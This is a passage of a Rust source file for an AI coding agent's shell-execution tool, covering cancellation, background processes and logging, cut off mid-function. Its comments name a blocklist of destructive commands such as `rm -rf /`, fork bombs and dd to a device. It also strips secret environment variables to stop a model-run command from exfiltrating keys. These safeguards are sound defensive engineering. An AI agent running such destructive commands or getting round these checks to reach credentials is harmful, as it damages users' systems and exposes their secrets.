Skip to main content

mermaid_cli/providers/tool/
exec.rs

1//! `execute_command` tool.
2//!
3//! The `ExecContext::token` races the subprocess wait in a `select!`.
4//! When the user Ctrl+C's:
5//!
6//!   1. Reducer emits `Cmd::CancelScope(turn)`.
7//!   2. Effect runner cancels the turn's scope token.
8//!   3. `run_command`'s cancel branch fires, `terminate_tree` SIGKILLs
9//!      the child's whole process group, the driver is aborted, and
10//!      `ToolOutcome::Cancelled` flows back to the reducer. (The child
11//!      is deliberately NOT `kill_on_drop`, so a Ctrl+B-detached
12//!      command survives a clean shutdown — see the spawn site.)
13//!
14//! End-to-end latency: microseconds plus whatever it takes `SIGKILL`
15//! to arrive. No polling loop to "forget" to include.
16//!
17//! The dangerous-command blocklist is defense-in-depth, not a
18//! security boundary: the real boundary is the user's decision to
19//! run Mermaid with shell access. But the known destructive shapes
20//! (`rm -rf /`, fork bombs, dd to device, etc.) are cheap to catch
21//! upfront.
22
23use std::path::{Path, PathBuf};
24use std::process::Stdio;
25use std::time::{Duration, Instant};
26
27use async_trait::async_trait;
28use tokio::io::{AsyncRead, AsyncReadExt, AsyncWriteExt};
29use tokio::process::Command;
30
31use crate::constants::{COMMAND_MAX_TIMEOUT_SECS, COMMAND_TIMEOUT_SECS};
32use crate::domain::{
33    ManagedProcess, ManagedProcessStatus, ToolDefinition, ToolMetadata, ToolOutcome,
34    ToolRunMetadata,
35};
36
37use super::super::ctx::{ExecContext, ProgressEvent};
38use super::ToolExecutor;
39
40/// `execute_command` — spawn a shell, run a command, capture output.
41///
42/// Honors three escape hatches:
43/// - `ExecContext::token` (the main event): cancellation from the
44///   reducer aborts the child. This is *the* Ctrl+C fix.
45/// - `timeout` argument: model-specified per-call cap (capped at
46///   `COMMAND_MAX_TIMEOUT_SECS`). Default `COMMAND_TIMEOUT_SECS`.
47/// - Dangerous-command blocklist: refuses obvious destructive
48///   patterns before spawning.
49pub struct ExecuteCommandTool;
50
51#[derive(Debug, Clone, Copy, PartialEq, Eq)]
52enum CommandMode {
53    Wait,
54    Background,
55}
56
57impl CommandMode {
58    fn parse(args: &serde_json::Value) -> Result<Self, String> {
59        match args.get("mode").and_then(|v| v.as_str()).unwrap_or("wait") {
60            "wait" | "foreground" => Ok(Self::Wait),
61            "background" => Ok(Self::Background),
62            other => Err(format!(
63                "execute_command: mode must be 'wait' or 'background', got '{}'",
64                other
65            )),
66        }
67    }
68}
69
70#[async_trait]
71impl ToolExecutor for ExecuteCommandTool {
72    fn name(&self) -> &'static str {
73        "execute_command"
74    }
75
76    fn schema(&self) -> ToolDefinition {
77        ToolDefinition {
78            name: "execute_command".to_string(),
79            description:
80                "Run a shell command. Use mode='wait' for finite commands, or mode='background' for dev servers and GUI/daemon-style commands that should keep running after the tool returns. Ctrl+C during foreground execution aborts the child immediately."
81                    .to_string(),
82            input_schema: serde_json::json!({
83                "type": "object",
84                "properties": {
85                    "command": { "type": "string", "description": "Shell command to run." },
86                    "working_dir": { "type": "string", "description": "Override working directory (absolute)." },
87                    "mode": {
88                        "type": "string",
89                        "enum": ["wait", "background"],
90                        "default": "wait",
91                        "description": "Use 'background' for long-running servers, daemons, and GUI launchers."
92                    },
93                    "timeout": {
94                        "type": "integer",
95                        "description": "Per-call foreground timeout in seconds. Default 30, max 300. Foreground timeout kills the child."
96                    },
97                    "startup_timeout_secs": {
98                        "type": "integer",
99                        "description": "Background mode: seconds to watch startup logs for readiness. Default 5, max 30."
100                    },
101                    "ready_pattern": {
102                        "type": "string",
103                        "description": "Background mode: text that marks the server/app ready when it appears in the startup log."
104                    },
105                    "open_url": {
106                        "type": "string",
107                        "description": "Background mode: URL to open with the default browser after startup."
108                    }
109                },
110                "required": ["command"]
111            }),
112        }
113    }
114
115    async fn execute(&self, args: serde_json::Value, ctx: ExecContext) -> ToolOutcome {
116        let Some(command) = args.get("command").and_then(|v| v.as_str()) else {
117            return ToolOutcome::error("execute_command requires 'command' (string)", 0.0);
118        };
119
120        if contains_dangerous_command(command) {
121            return ToolOutcome::error(format!("Dangerous command blocked: {}", command), 0.0);
122        }
123
124        // Resolve the effective working directory and decide containment. An
125        // out-of-project cwd is allowed but escalated to ExternalDirectory so
126        // the gate won't auto-allow even a read-only command run outside the
127        // project — closing the working_dir containment bypass.
128        let (effective_workdir, within_project) = match args
129            .get("working_dir")
130            .and_then(|v| v.as_str())
131        {
132            Some(raw) => match super::path_safety::resolve_path_within(&ctx.workdir, raw) {
133                Ok(resolved) => resolved,
134                Err(e) => {
135                    return ToolOutcome::error(format!("execute_command working_dir: {e}"), 0.0);
136                },
137            },
138            None => (ctx.workdir.clone(), true),
139        };
140
141        let category = if within_project {
142            crate::runtime::ToolCategory::Shell
143        } else {
144            crate::runtime::ToolCategory::ExternalDirectory
145        };
146        let mut policy_request =
147            crate::runtime::ActionRequest::new("execute_command", category, command.to_string());
148        policy_request.command = Some(command.to_string());
149        if !within_project {
150            policy_request.path = Some(effective_workdir.display().to_string());
151        }
152        let pending_action = serde_json::json!({
153            "tool": "execute_command",
154            "args": args.clone(),
155            "workdir": effective_workdir.display().to_string(),
156            "turn_id": ctx.turn.0,
157            "call_id": ctx.call_id.0,
158            "task_id": ctx.task_id.clone(),
159        });
160        // Central safety gate. An Ask decision is handled inside the gate
161        // (checkpoint + approval row + blocking outcome). Allow returns the
162        // classified risk so we can take the pre-existing Allow-path
163        // checkpoint below.
164        match super::policy_gate::gate(&ctx, policy_request, &[], pending_action.clone(), true)
165            .await
166        {
167            super::policy_gate::Gate::Block(outcome) => return outcome,
168            super::policy_gate::Gate::Proceed { risk } => {
169                if ctx.config.safety.checkpoint_on_mutation
170                    && risk != crate::runtime::RiskClass::ReadOnly
171                {
172                    let _ = crate::runtime::create_checkpoint_for_task(
173                        &ctx.workdir,
174                        &[],
175                        Some(pending_action.clone()),
176                        ctx.task_id.clone(),
177                    );
178                }
179            },
180        }
181
182        let mode = match CommandMode::parse(&args) {
183            Ok(mode) => mode,
184            Err(error) => return ToolOutcome::error(error, 0.0),
185        };
186        let shell_payload = serde_json::json!({
187            "task_id": ctx.task_id.clone(),
188            "turn_id": ctx.turn.0,
189            "call_id": ctx.call_id.0,
190            "command": command,
191            "working_dir": effective_workdir.display().to_string(),
192        });
193        let _ = crate::runtime::run_plugin_hooks("before_shell", &shell_payload);
194        if mode == CommandMode::Background {
195            let startup_timeout_secs = args
196                .get("startup_timeout_secs")
197                .or_else(|| args.get("startup_timeout"))
198                .and_then(|v| v.as_u64())
199                .unwrap_or(5)
200                .clamp(1, 30);
201            let ready_pattern = args
202                .get("ready_pattern")
203                .and_then(|v| v.as_str())
204                .map(str::to_string);
205            let open_url = args
206                .get("open_url")
207                .and_then(|v| v.as_str())
208                .filter(|v| !v.trim().is_empty())
209                .map(str::to_string);
210            let outcome = run_background_command(
211                command,
212                &effective_workdir,
213                startup_timeout_secs,
214                ready_pattern.as_deref(),
215                open_url.as_deref(),
216                ctx,
217            )
218            .await;
219            let _ = crate::runtime::run_plugin_hooks(
220                "after_shell",
221                &serde_json::json!({
222                    "command": command,
223                    "status": format!("{:?}", outcome.status),
224                    "summary": &outcome.summary,
225                }),
226            );
227            return outcome;
228        }
229
230        let timeout_secs = args
231            .get("timeout")
232            .and_then(|v| v.as_u64())
233            .unwrap_or(COMMAND_TIMEOUT_SECS)
234            .min(COMMAND_MAX_TIMEOUT_SECS);
235
236        let command = command.to_string();
237        let start = Instant::now();
238        let progress = ctx.progress.clone();
239
240        // Spawn + wait. `run_command`'s select races four outcomes: subprocess
241        // exit, timeout, Esc-cancel, and Ctrl+B detach — the timeout and cancel
242        // arms both tree-kill before returning.
243        let mut cmd = Command::new(if cfg!(target_os = "windows") {
244            "cmd"
245        } else {
246            "sh"
247        });
248        cmd.arg(if cfg!(target_os = "windows") { "/C" } else { "-c" })
249            .arg(&command)
250            .stdin(Stdio::null())
251            .stdout(Stdio::piped())
252            .stderr(Stdio::piped())
253            // NOT kill-on-drop: the cancel and timeout arms of `run_command`
254            // explicitly `terminate_tree` the whole process group (the direct
255            // shell is its group leader, so any forked grandchild dies too), so
256            // no drop-time backstop is needed on those paths. Crucially, leaving
257            // the child un-armed lets a Ctrl+B-detached command survive a clean
258            // Mermaid shutdown: the orphaned driver task that still owns this
259            // `Child` is aborted at runtime teardown, and a `kill_on_drop(true)`
260            // child would then be SIGKILLed despite `mode=background` semantics
261            // — inconsistent with a truly backgrounded process (#F16).
262            .kill_on_drop(false);
263
264        // Unix: lead a new process group so cancel can signal the whole group.
265        // (Windows kills the tree by pid via `taskkill /T`, no group needed.)
266        #[cfg(unix)]
267        cmd.process_group(0);
268
269        cmd.current_dir(&effective_workdir);
270        scrub_secret_env(&mut cmd);
271
272        // The timeout now lives INSIDE `run_command`'s select (alongside the
273        // Esc-cancel and Ctrl+B arms), so a timed-out command is tree-killed and
274        // its driver aborted before we return — the old outer `select!` dropped
275        // the future and leaked the process tree.
276        let outcome = match run_command(
277            cmd,
278            progress,
279            ctx.token.clone(),
280            ctx.background.clone(),
281            Duration::from_secs(timeout_secs),
282        )
283        .await
284        {
285            Ok(CommandRunResult::Completed(run)) => {
286                let duration_secs = start.elapsed().as_secs_f64();
287                let output_len = run.output.len();
288                ToolOutcome::success(run.output.clone(), "command completed", duration_secs)
289                    .with_metadata(command_metadata(CommandMetadataInput {
290                        command: command.clone(),
291                        working_dir: Some(effective_workdir.display().to_string()),
292                        exit_code: run.exit_code,
293                        timed_out: false,
294                        background: false,
295                        stdout_lines: run.stdout_lines,
296                        stderr_lines: run.stderr_lines,
297                        detected_urls: all_urls(&run.output),
298                        pid: None,
299                        log_path: None,
300                        byte_count: Some(output_len),
301                    }))
302            },
303            Ok(CommandRunResult::Detached { pid, log_path }) => {
304                // Ctrl+B moved this command to the background.
305                let duration_secs = start.elapsed().as_secs_f64();
306                let log_path_str = log_path.display().to_string();
307                let output = format!(
308                    "Moved to background.\nPID: {pid}\nLog: {log_path_str}\nManage it with /processes, /logs {pid}, /stop {pid}."
309                );
310                let process = ManagedProcess {
311                    id: format!("bg-{pid}"),
312                    pid,
313                    command: command.to_string(),
314                    cwd: Some(effective_workdir.display().to_string()),
315                    log_path: log_path_str.clone(),
316                    detected_url: None,
317                    status: ManagedProcessStatus::Running,
318                };
319                let mut metadata = command_metadata(CommandMetadataInput {
320                    command: command.to_string(),
321                    working_dir: Some(effective_workdir.display().to_string()),
322                    exit_code: None,
323                    timed_out: false,
324                    background: true,
325                    stdout_lines: 0,
326                    stderr_lines: 0,
327                    detected_urls: Vec::new(),
328                    pid: Some(pid),
329                    log_path: Some(log_path_str),
330                    byte_count: Some(output.len()),
331                });
332                metadata.process = Some(process);
333                ToolOutcome::success(output, "moved to background", duration_secs)
334                    .with_metadata(metadata)
335            },
336            Ok(CommandRunResult::Cancelled) => ToolOutcome::cancelled(),
337            Ok(CommandRunResult::TimedOut) => {
338                let message = format!(
339                    "Command timed out after {} seconds and was killed. \
340                     For dev servers, GUI apps, or other long-running commands, call execute_command with mode=\"background\".",
341                    timeout_secs
342                );
343                let duration_secs = start.elapsed().as_secs_f64();
344                ToolOutcome::error(message, duration_secs).with_metadata(command_metadata(
345                    CommandMetadataInput {
346                        command: command.clone(),
347                        working_dir: Some(effective_workdir.display().to_string()),
348                        exit_code: None,
349                        timed_out: true,
350                        background: false,
351                        stdout_lines: 0,
352                        stderr_lines: 0,
353                        detected_urls: Vec::new(),
354                        pid: None,
355                        log_path: None,
356                        byte_count: None,
357                    },
358                ))
359            },
360            Err(e) => {
361                let duration_secs = start.elapsed().as_secs_f64();
362                ToolOutcome::error(format!("Command failed: {}", e), duration_secs).with_metadata(
363                    command_metadata(CommandMetadataInput {
364                        command: command.clone(),
365                        working_dir: Some(effective_workdir.display().to_string()),
366                        exit_code: None,
367                        timed_out: false,
368                        background: false,
369                        stdout_lines: 0,
370                        stderr_lines: 0,
371                        detected_urls: Vec::new(),
372                        pid: None,
373                        log_path: None,
374                        byte_count: None,
375                    }),
376                )
377            },
378        };
379        let _ = crate::runtime::run_plugin_hooks(
380            "after_shell",
381            &serde_json::json!({
382                "command": command,
383                "status": format!("{:?}", outcome.status),
384                "summary": &outcome.summary,
385            }),
386        );
387        outcome
388    }
389}
390
391#[derive(Debug)]
392struct BackgroundStartup {
393    ready_message: String,
394    log_excerpt: String,
395    detected_url: Option<String>,
396}
397
398async fn run_background_command(
399    command: &str,
400    workdir: &Path,
401    startup_timeout_secs: u64,
402    ready_pattern: Option<&str>,
403    open_url: Option<&str>,
404    ctx: ExecContext,
405) -> ToolOutcome {
406    let start = Instant::now();
407
408    {
409        let log_path = background_log_path();
410        let pid = match launch_background_process(command, workdir, &log_path).await {
411            Ok(pid) => pid,
412            Err(error) => {
413                return ToolOutcome::error(error, start.elapsed().as_secs_f64());
414            },
415        };
416
417        let startup = match wait_for_background_startup(
418            pid,
419            &log_path,
420            startup_timeout_secs,
421            ready_pattern,
422            &ctx,
423        )
424        .await
425        {
426            Ok(startup) => startup,
427            Err(BackgroundWaitError::Cancelled) => {
428                crate::utils::terminate_tree(pid, crate::utils::Grace::Graceful).await;
429                return ToolOutcome::cancelled();
430            },
431            Err(BackgroundWaitError::ExitedEarly(log_excerpt)) => {
432                return ToolOutcome::error(
433                    format!(
434                        "Background command exited during startup. Log: {}\n\n{}",
435                        log_path.display(),
436                        log_excerpt
437                    ),
438                    start.elapsed().as_secs_f64(),
439                );
440            },
441        };
442
443        let opened = if let Some(url) = open_url {
444            Some((url.to_string(), open_browser_url(url).await))
445        } else {
446            None
447        };
448
449        let mut output = format!(
450            "Background command started.\nPID: {}\nLog: {}\n{}\n",
451            pid,
452            log_path.display(),
453            startup.ready_message
454        );
455        if let Some(url) = startup.detected_url.as_ref() {
456            output.push_str(&format!("Detected URL: {}\n", url));
457        }
458        if let Some((url, result)) = opened {
459            match result {
460                Ok(()) => output.push_str(&format!("Opened URL: {}\n", url)),
461                Err(error) => output.push_str(&format!("Open URL failed: {} ({})\n", url, error)),
462            }
463        }
464        if !startup.log_excerpt.trim().is_empty() {
465            output.push_str("\n--- startup output ---\n");
466            output.push_str(&startup.log_excerpt);
467        }
468
469        let duration_secs = start.elapsed().as_secs_f64();
470        let log_path_str = log_path.display().to_string();
471        let detected_urls = startup.detected_url.iter().cloned().collect::<Vec<_>>();
472        let process = ManagedProcess {
473            id: format!("bg-{}", pid),
474            pid,
475            command: command.to_string(),
476            cwd: Some(workdir.display().to_string()),
477            log_path: log_path_str.clone(),
478            detected_url: startup.detected_url.clone(),
479            status: ManagedProcessStatus::Running,
480        };
481        let byte_count = output.len();
482        let mut metadata = command_metadata(CommandMetadataInput {
483            command: command.to_string(),
484            working_dir: Some(workdir.display().to_string()),
485            exit_code: None,
486            timed_out: false,
487            background: true,
488            stdout_lines: startup.log_excerpt.lines().count(),
489            stderr_lines: 0,
490            detected_urls,
491            pid: Some(pid),
492            log_path: Some(log_path_str),
493            byte_count: Some(byte_count),
494        });
495        metadata.process = Some(process);
496        ToolOutcome::success(output, "background process started", duration_secs)
497            .with_metadata(metadata)
498    }
499}
500
501#[cfg(not(target_os = "windows"))]
502async fn launch_background_process(
503    command: &str,
504    workdir: &Path,
505    log_path: &Path,
506) -> Result<u32, String> {
507    // Pre-create the log owner-only with O_EXCL BEFORE the launcher runs, so a
508    // symlink pre-planted at the predictable path can't redirect the script's
509    // `: > "$log"` / output redirects to a victim file (#F15), and the captured
510    // output stays owner-readable on top of the 0700 private dir (#F14). The
511    // launcher then truncates this regular file in place, preserving its perms.
512    create_log_file_blocking(log_path).map_err(|e| {
513        format!(
514            "failed to create background log {}: {e}",
515            log_path.display()
516        )
517    })?;
518    let mut launcher = Command::new("sh");
519    launcher
520        .arg("-c")
521        .arg(
522            // `setsid` (when present) makes the backgrounded command a new
523            // session/process-group leader, so its pid (`$!`) IS its group id and
524            // `terminate_tree` can later group-kill the whole subtree rather than
525            // orphaning grandchildren. Falls back to `nohup` on hosts without
526            // setsid (e.g. stock macOS), where the bare-pid kill still applies.
527            r#"log=$MERMAID_BG_LOG
528cmd=$MERMAID_BG_COMMAND
529: > "$log" || exit 125
530if command -v setsid >/dev/null 2>&1; then
531  setsid sh -c "$cmd" > "$log" 2>&1 < /dev/null &
532else
533  nohup sh -c "$cmd" > "$log" 2>&1 < /dev/null &
534fi
535printf '%s\n' "$!""#,
536        )
537        .env("MERMAID_BG_LOG", log_path)
538        .env("MERMAID_BG_COMMAND", command)
539        .current_dir(workdir)
540        .stdin(Stdio::null())
541        .stdout(Stdio::piped())
542        .stderr(Stdio::piped());
543    scrub_secret_env(&mut launcher);
544
545    let output = launcher
546        .output()
547        .await
548        .map_err(|e| format!("failed to launch background command: {}", e))?;
549    if !output.status.success() {
550        return Err(format!(
551            "background launcher failed: {}",
552            String::from_utf8_lossy(&output.stderr)
553        ));
554    }
555    let stdout = String::from_utf8_lossy(&output.stdout);
556    stdout.trim().parse::<u32>().map_err(|e| {
557        format!(
558            "background launcher did not return a pid: {} ({})",
559            stdout, e
560        )
561    })
562}
563
564/// Windows: spawn the command detached (no console, own process group) with
565/// output redirected to the log file, and return its PID. tokio's `Child`
566/// defaults to `kill_on_drop(false)`, so dropping the handle leaves the
567/// process running — the OS owns its lifetime from here.
568#[cfg(target_os = "windows")]
569async fn launch_background_process(
570    command: &str,
571    workdir: &Path,
572    log_path: &Path,
573) -> Result<u32, String> {
574    use crate::utils::{CREATE_NEW_PROCESS_GROUP, DETACHED_PROCESS};
575    let log = std::fs::File::create(log_path).map_err(|e| {
576        format!(
577            "failed to create background log {}: {e}",
578            log_path.display()
579        )
580    })?;
581    let log_err = log
582        .try_clone()
583        .map_err(|e| format!("failed to clone background log handle: {e}"))?;
584    let mut launcher = Command::new("cmd");
585    launcher
586        .arg("/C")
587        .arg(command)
588        .current_dir(workdir)
589        .stdin(Stdio::null())
590        .stdout(Stdio::from(log))
591        .stderr(Stdio::from(log_err))
592        .creation_flags(DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP);
593    scrub_secret_env(&mut launcher);
594    let child = launcher
595        .spawn()
596        .map_err(|e| format!("failed to launch background command: {e}"))?;
597    child
598        .id()
599        .ok_or_else(|| "background command produced no pid".to_string())
600}
601
602#[derive(Debug)]
603enum BackgroundWaitError {
604    Cancelled,
605    ExitedEarly(String),
606}
607
608async fn wait_for_background_startup(
609    pid: u32,
610    log_path: &Path,
611    startup_timeout_secs: u64,
612    ready_pattern: Option<&str>,
613    ctx: &ExecContext,
614) -> Result<BackgroundStartup, BackgroundWaitError> {
615    let start = Instant::now();
616    let startup_timeout = Duration::from_secs(startup_timeout_secs);
617
618    loop {
619        if ctx.token.is_cancelled() {
620            return Err(BackgroundWaitError::Cancelled);
621        }
622
623        let last_log = read_log_lossy(log_path).await;
624        let detected_url = first_url(&last_log);
625
626        if !process_running(pid).await {
627            return Err(BackgroundWaitError::ExitedEarly(tail_lines(&last_log, 40)));
628        }
629
630        if let Some(pattern) = ready_pattern {
631            if last_log.contains(pattern) {
632                return Ok(BackgroundStartup {
633                    ready_message: format!("Ready: matched pattern {:?}", pattern),
634                    log_excerpt: tail_lines(&last_log, 40),
635                    detected_url,
636                });
637            }
638        } else if start.elapsed() >= Duration::from_secs(1) || !last_log.is_empty() {
639            return Ok(BackgroundStartup {
640                ready_message:
641                    "Ready: no ready_pattern provided; process is running after startup check"
642                        .to_string(),
643                log_excerpt: tail_lines(&last_log, 40),
644                detected_url,
645            });
646        }
647
648        if start.elapsed() >= startup_timeout {
649            let ready_message = if let Some(pattern) = ready_pattern {
650                format!(
651                    "Ready: pattern {:?} was not seen within {}s; process is still running",
652                    pattern, startup_timeout_secs
653                )
654            } else {
655                format!(
656                    "Ready: startup check reached {}s; process is still running",
657                    startup_timeout_secs
658                )
659            };
660            return Ok(BackgroundStartup {
661                ready_message,
662                log_excerpt: tail_lines(&last_log, 40),
663                detected_url,
664            });
665        }
666
667        tokio::select! {
668            _ = ctx.token.cancelled() => return Err(BackgroundWaitError::Cancelled),
669            _ = tokio::time::sleep(Duration::from_millis(200)) => {},
670        }
671    }
672}
673
674async fn read_log_lossy(path: &Path) -> String {
675    tokio::fs::read_to_string(path).await.unwrap_or_default()
676}
677
678#[cfg(not(target_os = "windows"))]
679async fn process_running(pid: u32) -> bool {
680    Command::new("kill")
681        .arg("-0")
682        .arg(pid.to_string())
683        .stdin(Stdio::null())
684        .stdout(Stdio::null())
685        .stderr(Stdio::null())
686        .status()
687        .await
688        .map(|status| status.success())
689        .unwrap_or(false)
690}
691
692/// Windows: `tasklist` filtered by PID prints the process row only when it
693/// exists (otherwise an "INFO: No tasks…" line that doesn't contain the PID).
694#[cfg(target_os = "windows")]
695async fn process_running(pid: u32) -> bool {
696    Command::new("tasklist")
697        .args(["/FI", &format!("PID eq {pid}"), "/NH"])
698        .stdin(Stdio::null())
699        .stdout(Stdio::piped())
700        .stderr(Stdio::null())
701        .output()
702        .await
703        .map(|out| String::from_utf8_lossy(&out.stdout).contains(&pid.to_string()))
704        .unwrap_or(false)
705}
706
707// Process-tree termination lives in `crate::utils::terminate_tree` — the single
708// primitive shared by the Esc-cancel path, the foreground timeout, the
709// Ctrl+B-detached cleanup, and the daemon's `/stop`/`/restart`. It kills the
710// process group (catching grandchildren), not just the direct pid.
711
712/// Build a unique, hard-to-predict path for a command's tee log inside the
713/// per-user `0700` private temp dir (#F14). Command stdout/stderr is tee'd here
714/// and can contain secrets (`cat .env`, `gh auth token`), so it must NOT land in
715/// the world-readable shared system temp dir. Falls back to the system temp dir
716/// only if the private dir can't be created — the owner-only + `O_EXCL` create
717/// at the use-site (`create_log_file_blocking`) still applies there.
718fn background_log_path() -> PathBuf {
719    let nanos = std::time::SystemTime::now()
720        .duration_since(std::time::UNIX_EPOCH)
721        .map(|d| d.as_nanos())
722        .unwrap_or_default();
723    let name = format!("mermaid-bg-{}-{}.log", std::process::id(), nanos);
724    match crate::utils::private_temp_dir() {
725        Ok(dir) => dir.join(name),
726        Err(_) => std::env::temp_dir().join(name),
727    }
728}
729
730/// Create (exclusively) the tee log at `path`. On Unix the file is owner-only
731/// (`0600`) and opened `O_CREAT | O_EXCL` (via `create_new`): per POSIX that
732/// refuses to open — and refuses to follow — a symlink someone pre-planted at
733/// the predictable name, so the log write can't be redirected to a victim file
734/// (#F15). The `0600` mode keeps the captured stdout/stderr owner-readable on
735/// top of the `0700` private dir (#F14).
736#[cfg(unix)]
737fn create_log_file_blocking(path: &Path) -> std::io::Result<std::fs::File> {
738    use std::os::unix::fs::OpenOptionsExt;
739    std::fs::OpenOptions::new()
740        .write(true)
741        .create_new(true)
742        .mode(0o600)
743        .open(path)
744}
745
746/// Create the foreground tee log, returning a `tokio` handle. Unix uses the
747/// hardened owner-only + `O_EXCL` create above; other platforms fall back to a
748/// plain create (the log already lives in the private dir). Best-effort: `None`
749/// means "no tee log", which only costs `/logs` tail-ability, not correctness.
750fn create_tee_log_blocking(path: &Path) -> Option<tokio::fs::File> {
751    #[cfg(unix)]
752    let std_file = create_log_file_blocking(path).ok();
753    #[cfg(not(unix))]
754    let std_file = std::fs::File::create(path).ok();
755    std_file.map(tokio::fs::File::from_std)
756}
757
758struct CommandMetadataInput {
759    command: String,
760    working_dir: Option<String>,
761    exit_code: Option<i32>,
762    timed_out: bool,
763    background: bool,
764    stdout_lines: usize,
765    stderr_lines: usize,
766    detected_urls: Vec<String>,
767    pid: Option<u32>,
768    log_path: Option<String>,
769    byte_count: Option<usize>,
770}
771
772fn command_metadata(input: CommandMetadataInput) -> ToolRunMetadata {
773    ToolRunMetadata {
774        detail: ToolMetadata::ExecuteCommand {
775            command: input.command,
776            working_dir: input.working_dir,
777            exit_code: input.exit_code,
778            timed_out: input.timed_out,
779            background: input.background,
780            stdout_lines: input.stdout_lines,
781            stderr_lines: input.stderr_lines,
782            detected_urls: input.detected_urls,
783            pid: input.pid,
784            log_path: input.log_path,
785        },
786        line_count: Some(input.stdout_lines + input.stderr_lines),
787        byte_count: input.byte_count,
788        ..ToolRunMetadata::default()
789    }
790}
791
792fn tail_lines(text: &str, max_lines: usize) -> String {
793    let lines: Vec<&str> = text.lines().collect();
794    let start = lines.len().saturating_sub(max_lines);
795    lines[start..].join("\n")
796}
797
798fn first_url(text: &str) -> Option<String> {
799    text.split_whitespace()
800        .find(|part| part.starts_with("http://") || part.starts_with("https://"))
801        .map(|url| {
802            url.trim_matches(|c: char| matches!(c, ')' | ']' | '}' | ',' | ';' | '"' | '\''))
803                .to_string()
804        })
805}
806
807fn all_urls(text: &str) -> Vec<String> {
808    text.split_whitespace()
809        .filter(|part| part.starts_with("http://") || part.starts_with("https://"))
810        .map(|url| {
811            url.trim_matches(|c: char| matches!(c, ')' | ']' | '}' | ',' | ';' | '"' | '\''))
812                .to_string()
813        })
814        .collect()
815}
816
817async fn open_browser_url(url: &str) -> Result<(), String> {
818    #[cfg(target_os = "macos")]
819    let mut command = {
820        let mut cmd = Command::new("open");
821        cmd.arg(url);
822        cmd
823    };
824
825    #[cfg(target_os = "linux")]
826    let mut command = {
827        let mut cmd = Command::new("xdg-open");
828        cmd.arg(url);
829        cmd
830    };
831
832    #[cfg(target_os = "windows")]
833    let mut command = {
834        let mut cmd = Command::new("cmd");
835        cmd.args(["/C", "start", "", url]);
836        cmd
837    };
838
839    command
840        .stdin(Stdio::null())
841        .stdout(Stdio::null())
842        .stderr(Stdio::null())
843        .kill_on_drop(false)
844        .spawn()
845        .map(|_| ())
846        .map_err(|e| e.to_string())
847}
848
849/// Drive the child process, pumping stdout+stderr concurrently so
850/// the kernel pipe buffer never wedges the child. Emits
851/// `ProgressEvent::Output` chunks on `ExecContext::progress` for
852/// any future consumer that wants to show live subprocess output.
853#[derive(Debug, Clone)]
854struct CommandRunOutput {
855    output: String,
856    exit_code: Option<i32>,
857    stdout_lines: usize,
858    stderr_lines: usize,
859}
860
861/// Result of driving a foreground command: ran to completion, was detached
862/// (Ctrl+B), was cancelled (the turn token fired), or hit its timeout. The
863/// cancelled and timed-out arms both tree-kill the process group and abort the
864/// driver before returning, so neither can leak the child.
865enum CommandRunResult {
866    Completed(CommandRunOutput),
867    Detached { pid: u32, log_path: PathBuf },
868    Cancelled,
869    TimedOut,
870}
871
872/// Names that must never be inherited by a spawned command. Provider API
873/// keys + the daemon token live in the parent's environment; a model-driven
874/// shell command could otherwise read them via `env`/`printenv` and
875/// exfiltrate them. We strip these by exact name in addition to the
876/// pattern match in [`scrub_secret_env`].
877const SECRET_ENV_VARS: &[&str] = &[
878    "ANTHROPIC_API_KEY",
879    "OPENAI_API_KEY",
880    "GEMINI_API_KEY",
881    "GOOGLE_API_KEY",
882    "OLLAMA_API_KEY",
883    "GROQ_API_KEY",
884    "MISTRAL_API_KEY",
885    "DEEPSEEK_API_KEY",
886    "OPENROUTER_API_KEY",
887    "XAI_API_KEY",
888    "TOGETHER_API_KEY",
889    "MERMAID_DAEMON_TOKEN",
890];
891
892/// Remove secret-bearing environment variables from a child command. Uses a
893/// denylist (known provider keys + name patterns) rather than an allowlist so
894/// ordinary build/run commands keep `PATH`, `CARGO_HOME`, language toolchain
895/// vars, `XAUTHORITY`, etc. and still work.
896fn scrub_secret_env(cmd: &mut Command) {
897    for (name, _) in std::env::vars() {
898        if is_secret_env_name(&name) {
899            cmd.env_remove(&name);
900        }
901    }
902}
903
904/// True if an env var name looks like it carries a secret/credential and must
905/// not leak into a model-run child process. Denylist (not allowlist) so
906/// ordinary build/run vars (`PATH`, toolchain, `XAUTHORITY`, …) survive.
907fn is_secret_env_name(name: &str) -> bool {
908    let upper = name.to_ascii_uppercase();
909    SECRET_ENV_VARS.contains(&upper.as_str())
910        || upper.contains("API_KEY")
911        || upper.contains("APIKEY")
912        || upper.contains("ACCESS_KEY")
913        || upper.contains("PRIVATE_KEY")
914        || upper.contains("SECRET")
915        || upper.contains("PASSWORD")
916        || upper.contains("PASSWD")
917        || upper.contains("CREDENTIAL")
918        || upper.contains("TOKEN")
919        || upper.contains("WEBHOOK")
920        || upper.contains("DATABASE_URL")
921        || upper.ends_with("_DSN")
922        || upper.contains("CONNECTION_STRING")
923        || upper == "KUBECONFIG"
924        || upper == "SSH_AUTH_SOCK"
925}
926
927/// Drain a child stream, capping the captured bytes at `cap` so a chatty or
928/// newline-less command can't exhaust memory. Bytes are accumulated raw and
929/// decoded once at the end (lossy) so a multibyte char split across reads is
930/// not corrupted by the cap. Returns `(text, truncated)`.
931/// On-disk cap for the per-stream tee log (#126). The in-memory buffer is
932/// capped at `MAX_TOOL_OUTPUT_BYTES`; the log may grow larger (it stays
933/// tail-able for a backgrounded process) but must not be unbounded — a command
934/// spewing gigabytes would otherwise fill the temp dir.
935const TEE_LOG_CAP_BYTES: usize = 64 * 1024 * 1024;
936
937async fn read_capped<R: AsyncRead + Unpin>(
938    mut reader: R,
939    cap: usize,
940    log_cap: usize,
941    progress: Option<tokio::sync::mpsc::Sender<ProgressEvent>>,
942    log: Option<std::sync::Arc<tokio::sync::Mutex<tokio::fs::File>>>,
943) -> (String, bool) {
944    let mut buf = [0u8; 8192];
945    let mut bytes: Vec<u8> = Vec::new();
946    let mut truncated = false;
947    let mut logged: usize = 0;
948    let mut log_capped = false;
949    loop {
950        match reader.read(&mut buf).await {
951            Ok(0) => break,
952            Ok(n) => {
953                // Tee raw bytes to the shared log file so a backgrounded
954                // (Ctrl+B) process stays tail-able via /logs — bounded at
955                // `TEE_LOG_CAP_BYTES` so a runaway command can't fill the disk
956                // (#126). Once capped we write a one-time marker and stop.
957                if let Some(file) = &log
958                    && !log_capped
959                {
960                    let mut f = file.lock().await;
961                    if logged + n <= log_cap {
962                        let _ = f.write_all(&buf[..n]).await;
963                        logged += n;
964                    } else {
965                        let remaining = log_cap - logged;
